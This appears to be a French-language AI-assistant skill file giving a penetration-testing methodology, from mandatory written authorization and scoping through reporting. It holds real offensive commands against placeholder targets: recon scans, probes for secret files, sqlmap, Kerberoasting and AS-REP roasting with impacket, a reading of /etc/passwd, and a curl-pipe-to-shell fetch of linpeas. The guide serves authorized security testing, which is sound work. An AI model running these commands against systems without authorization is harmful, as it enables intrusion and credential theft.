| name | dev-pentest-assistant |
| description | Guide méthodologique pour tests d'intrusion et évaluation de sécurité. À utiliser pour préparer ou conduire un pentest. Se déclenche avec "pentest", "test d'intrusion", "test de pénétration", "hacking éthique", "red team", "bug bounty", "surface d'attaque". Also triggers on "penetration test", "pentest methodology", "authorized security testing". |
Pentest Assistant
Étape 0 — Cadrage obligatoire avant tout test
Avant d'écrire la première commande :
| Élément | Questions à trancher |
|---|
| Type de test | Blackbox / Greybox / Whitebox ? |
| Périmètre | Domaines, IPs, CIDR inclus et exclus (par écrit) |
| Actions interdites | DoS, dump de données prod, création de comptes, pivoting hors scope |
| Plages horaires | Heures autorisées pour les scans intrusifs |
| Contact urgence | Qui appeler si un système tombe ? |
| Autorisation écrite | Letter of Engagement / NDA signé — sine qua non légalement |
Sans document d'autorisation signé = arrêt immédiat. Le hacking sans consentement est un délit pénal dans toutes les juridictions.
Étape 1 — Reconnaissance passive (OSINT, zero interaction)
Objectif : cartographier la surface d'attaque sans toucher la cible.
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq '.[].name_value' | sort -u
amass intel -org "Example Corp" -asn 12345
theHarvester -d example.com -b google,bing,linkedin,shodan -f harvest_out
shodan search "org:\"Example Corp\" port:22,443,8080" --fields ip_str,port,data
Checklist OSINT :
Étape 2 — Reconnaissance active (interaction directe)
nmap -sV -sC -O -T4 -p- 10.0.0.1 -oA nmap_full
nmap -sn 10.0.0.0/24 -oG alive_hosts.txt
feroxbuster -u https://example.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js,json -t 40
ffuf -u https://FUZZ.example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,302
Fichiers sensibles à chercher systématiquement :
.git/config, .env, config.php.bak, backup.zip, api_keys.json
/actuator/env, /api/swagger.json, /.well-known/security.txt
- Panneau d'admin exposé :
/admin, /phpmyadmin, /wp-admin, /_admin
Étape 3 — Identification des vulnérabilités
Scan automatisé
nuclei -u https://example.com -t cves/ -t misconfigurations/ -t exposures/ -severity medium,high,critical -o nuclei_out.txt
nikto -h https://example.com -output nikto_out.txt
wpscan --url https://example.com --enumerate vp,vt,u --api-token $WPSCAN_TOKEN
Analyse manuelle prioritaire
Web Application (OWASP Top 10 2021) :
- A01 Broken Access Control → tester IDOR sur IDs, changement de rôle via JWT, accès direct à URL admin
- A02 Cryptographic Failures → HTTPS downgrade, cookies sans Secure/HttpOnly, secrets en clair dans JS
- A03 Injection → SQLi (manual + SQLMap), SSTI, LDAP injection, SSRF
- A07 Auth & Session → force brute, reset token prévisible, session non invalidée après logout
Infrastructure :
- Services avec credentials par défaut (Shodan Dork :
default password product:redis)
- Ports d'admin exposés à internet (RDP 3389, Kibana 5601, Jupyter 8888)
- Certificats expirés ou self-signed sur production
Active Directory :
- Kerberoasting :
impacket-GetUserSPNs domain/user:pass@dc -request -outputfile spns.txt
- ASREPRoasting :
impacket-GetNPUsers domain/ -usersfile users.txt -no-pass -format hashcat
- BloodHound pour cartographier les chemins vers Domain Admin
Étape 4 — Exploitation contrôlée
Règle d'or : documenter AVANT, PENDANT et APRÈS chaque action.
sqlmap -u "https://example.com/search?q=test" --dbs --batch --level 2 --risk 1
id && whoami && sudo -l && cat /etc/passwd | grep -v nologin
whoami /priv && net localgroup administrators && systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Template de documentation par finding :
Finding #N — [Titre court]
Date/heure : 2026-06-24 14:32 UTC
URL/IP ciblée : https://example.com/api/users/42
Payload / commande : GET /api/users/1 (IDOR : ID modifié de 42 → 1)
Réponse obtenue : 200 OK + données PII utilisateur ID 1
Preuve : screenshot_finding_N.png
Sévérité CVSS 3.1 : 8.1 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Impact : accès à toutes les données utilisateurs sans autorisation
Étape 5 — Post-exploitation et évaluation d'impact
Ne jamais implémenter réellement la persistence — documenter uniquement la possibilité.
Évaluer :
- Pivoting possible vers d'autres segments réseau (routes, ARP cache,
/proc/net/fib_trie)
- Données accessibles : PII, données financières, secrets d'API, dumps DB
- Impact RGPD / NIS2 : si données personnelles exfiltrables → obligation de notification sous 72h
- Scénario pire cas : que peut faire un attaquant réel avec cet accès ?
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee linpeas_out.txt
.\winPEAS.exe quiet | Out-File winpeas_out.txt
Étape 6 — Rapport de pentest
Structure minimale :
1. Executive Summary (1 page, non technique)
- Niveau de risque global : Critique / Élevé / Moyen / Faible
- Nb findings par sévérité
- Top 3 findings avec impact business en 1 phrase chacun
2. Findings (1 section par vulnérabilité)
- Titre + sévérité CVSS 3.1
- Description + preuve (screenshot/log)
- Impact démontré
- Remédiation concrète avec délai suggéré (Critique < 48h, Élevé < 2 semaines, ...)
3. Matrice de risque
4. Annexes : logs bruts, requêtes HTTP complètes, code PoC
Outils de reporting : Dradis, PlexTrac, ou template Markdown/Jinja exporté en PDF.
Garde-fous — Anti-patterns et pièges fréquents
| Piège | Conséquence | Bonne pratique |
|---|
| Scanner hors scope (IP voisine) | Délit pénal + rupture de contrat | Toujours valider le CIDR exact avant scan |
| Lancer un DoS "pour tester" | Indisponibilité prod, pénalités | Explicitement interdit sauf accord écrit spécifique |
| Implémenter la persistence sur prod | Incident de sécurité réel | Documenter la possibilité, ne pas exécuter |
| Oublier de nettoyer les artefacts | Web shell actif = incident ouvert | Checklist de nettoyage post-test obligatoire |
| Stocker les credentials trouvés en clair | Fuite potentielle | Vault chiffré (KeePass, Bitwarden) + destruction après rapport |
| Travailler sans VPN dédié | Attribution de l'IP personnelle | Toujours passer par un pivot/VPN propre au pentest |
| Rapport sans remédiation actionnable | Client ne sait pas quoi faire | Chaque finding = correctif concret + délai suggéré |
Référentiel et cadre légal (2026)
- Méthodologie : PTES (Penetration Testing Execution Standard), OWASP Testing Guide v4.2, NIST SP 800-115
- Classification : CVSS 3.1 pour la sévérité, OWASP Risk Rating pour l'impact business
- Légal FR/EU : art. 323-1 Code pénal (accès frauduleux), NIS2 (directive 2022/2555), RGPD art. 32-33
- Bug bounty : lire les règles HackerOne / Bugcrowd / Intigriti avant tout test ; safe harbor ≠ carte blanche
- Outils recommandés 2026 : Nuclei v3+, Caido (alternative Burp), Sliver C2 (red team), Semgrep (SAST), Prowler v4 (cloud)
Communication Rules — MANDATORY
- Ultra-concise. No filler, no preamble, no pleasantries.
- Never say "happy to help", "sure!", "great question", "let me", or similar.
- Tool first, talk second. Act before explaining.
- Result first. Lead with outcome, not process.
- Stop when done. No summary, no recap, no trailing commentary.
- No politeness wrappers. Direct and blunt.
- Minimum words. If one word works, do not use ten.
- No unsolicited explanations.
- No emoji unless asked.